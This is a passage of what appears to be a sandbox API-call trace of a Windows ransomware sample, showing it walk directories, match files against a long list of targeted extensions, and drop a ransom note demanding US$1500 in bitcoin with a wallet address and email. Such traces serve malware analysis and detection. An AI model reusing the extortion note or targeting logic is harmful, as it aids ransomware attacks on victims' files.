(lpString="*.pem") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.p12") returned 0 [0103.484] lstrlenA (lpString="*.p12") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.gpg") returned 0 [0103.484] lstrlenA (lpString="*.gpg") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vsd") returned 0 [0103.484] lstrlenA (lpString="*.vsd") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.odg") returned 0 [0103.484] lstrlenA (lpString="*.odg") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.raw") returned 0 [0103.484] lstrlenA (lpString="*.raw") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.nef") returned 0 [0103.484] lstrlenA (lpString="*.nef") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.svg") returned 0 [0103.484] lstrlenA (lpString="*.svg") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.psd") returned 0 [0103.484] lstrlenA (lpString="*.psd") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vmx") returned 0 [0103.484] lstrlenA (lpString="*.vmx") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vmdk") returned 0 [0103.484] lstrlenA (lpString="*.vmdk") returned 6 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vdi") returned 0 [0103.484] lstrlenA (lpString="*.vdi") returned 5 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.lay6") returned 0 [0103.484] lstrlenA (lpString="*.lay6") returned 6 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mpeg") returned 0 [0103.484] lstrlenA (lpString="*.mpeg") returned 6 [0103.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.djvu") returned 0 [0103.485] lstrlenA (lpString="*.djvu") returned 6 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.tiff") returned 0 [0103.485] lstrlenA (lpString="*.tiff") returned 6 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.backup") returned 0 [0103.485] lstrlenA (lpString="*.backup") returned 8 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pdf") returned 0 [0103.485] lstrlenA (lpString="*.pdf") returned 5 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.cert") returned 0 [0103.485] lstrlenA (lpString="*.cert") returned 6 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.docm") returned 0 [0103.485] lstrlenA (lpString="*.docm") returned 6 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xlsm") returned 0 [0103.485] lstrlenA (lpString="*.xlsm") returned 6 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dwg") returned 0 [0103.485] lstrlenA (lpString="*.dwg") returned 5 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.nd") returned 0 [0103.485] lstrlenA (lpString="*.nd") returned 4 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.tlg") returned 0 [0103.485] lstrlenA (lpString="*.tlg") returned 5 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.lgb") returned 0 [0103.485] lstrlenA (lpString="*.lgb") returned 5 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mov") returned 0 [0103.485] lstrlenA (lpString="*.mov") returned 5 [0103.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xdw") returned 0 [0103.485] lstrlenA (lpString="*.xdw") returned 5 [0103.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ods") returned 0 [0103.486] lstrlenA (lpString="*.ods") returned 5 [0103.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.wav") returned 0 [0103.486] lstrlenA (lpString="*.wav") returned 5 [0103.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mp3") returned 0 [0103.486] lstrlenA (lpString="*.mp3") returned 5 [0103.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.aiff") returned 0 [0103.486] lstrlenA (lpString="*.aiff") returned 6 [0103.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.flac") returned 0 [0103.486] lstrlenA (lpString="*.flac") returned 6 [0103.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.m4a") returned 0 [0103.486] lstrlenA (lpString="*.m4a") returned 5 [0103.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.csv") returned 0 [0103.486] lstrlenA (lpString="*.csv") returned 5 [0103.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0d8fdd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d0d8fdd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d0d8fdd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.486] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.486] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d27bf00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d27bf00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d27bf00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="de64901e4cd2074f5c70733ab5d7787a", cAlternateFileName="DE6490~1")) returned 1 [0103.486] lstrcmpA (lpString1=".", lpString2="de64901e4cd2074f5c70733ab5d7787a") returned -1 [0103.486] lstrcmpA (lpString1="..", lpString2="de64901e4cd2074f5c70733ab5d7787a") returned -1 [0103.486] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*") returned="*.*" [0103.486] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\", lpString2="de64901e4cd2074f5c70733ab5d7787a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a" [0103.487] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a") returned 100 [0103.487] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d27bf00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d27bf00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d27bf00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.487] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.487] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d27bf00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d27bf00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d27bf00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.487] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.488] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.488] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d209ae0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d209ae0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d209ae0, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.488] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.488] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned -1 [0103.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned -1 [0103.488] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned -1 [0103.488] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\*.*") returned="*.*" [0103.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\" [0103.488] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\") returned="" [0103.488] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\HOW TO DECRYPT FILES.txt" [0103.488] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\de64901e4cd2074f5c70733ab5d7787a\\how to decrypt files.txt")) returned 0xffffffff [0103.488] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\de64901e4cd2074f5c70733ab5d7787a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.491] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.491] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.492] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.492] CloseHandle (hObject=0x90) returned 1 [0103.492] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\", lpString2="Microsoft.Windows.Diagnosis.SDHost.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll" [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ems") returned 0 [0103.493] lstrlenA (lpString="*.ems") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.db") returned 0 [0103.493] lstrlenA (lpString="*.db") returned 4 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dbf") returned 0 [0103.493] lstrlenA (lpString="*.dbf") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.myox") returned 0 [0103.493] lstrlenA (lpString="*.myox") returned 6 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.myo") returned 0 [0103.493] lstrlenA (lpString="*.myo") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbw") returned 0 [0103.493] lstrlenA (lpString="*.qbw") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbb") returned 0 [0103.493] lstrlenA (lpString="*.qbb") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbm") returned 0 [0103.493] lstrlenA (lpString="*.qbm") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbo") returned 0 [0103.493] lstrlenA (lpString="*.qbo") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbx") returned 0 [0103.493] lstrlenA (lpString="*.qbx") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qba") returned 0 [0103.493] lstrlenA (lpString="*.qba") returned 5 [0103.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qby") returned 0 [0103.494] lstrlenA (lpString="*.qby") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qbj") returned 0 [0103.494] lstrlenA (lpString="*.qbj") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ofx") returned 0 [0103.494] lstrlenA (lpString="*.ofx") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.qif") returned 0 [0103.494] lstrlenA (lpString="*.qif") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mye") returned 0 [0103.494] lstrlenA (lpString="*.mye") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mbox") returned 0 [0103.494] lstrlenA (lpString="*.mbox") returned 6 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.eml") returned 0 [0103.494] lstrlenA (lpString="*.eml") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pst") returned 0 [0103.494] lstrlenA (lpString="*.pst") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ost") returned 0 [0103.494] lstrlenA (lpString="*.ost") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.idx") returned 0 [0103.494] lstrlenA (lpString="*.idx") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dbx") returned 0 [0103.494] lstrlenA (lpString="*.dbx") returned 5 [0103.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.sql") returned 0 [0103.495] lstrlenA (lpString="*.sql") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mdb") returned 0 [0103.495] lstrlenA (lpString="*.mdb") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.fdb") returned 0 [0103.495] lstrlenA (lpString="*.fdb") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.wab") returned 0 [0103.495] lstrlenA (lpString="*.wab") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dat") returned 0 [0103.495] lstrlenA (lpString="*.dat") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.txt") returned 0 [0103.495] lstrlenA (lpString="*.txt") returned 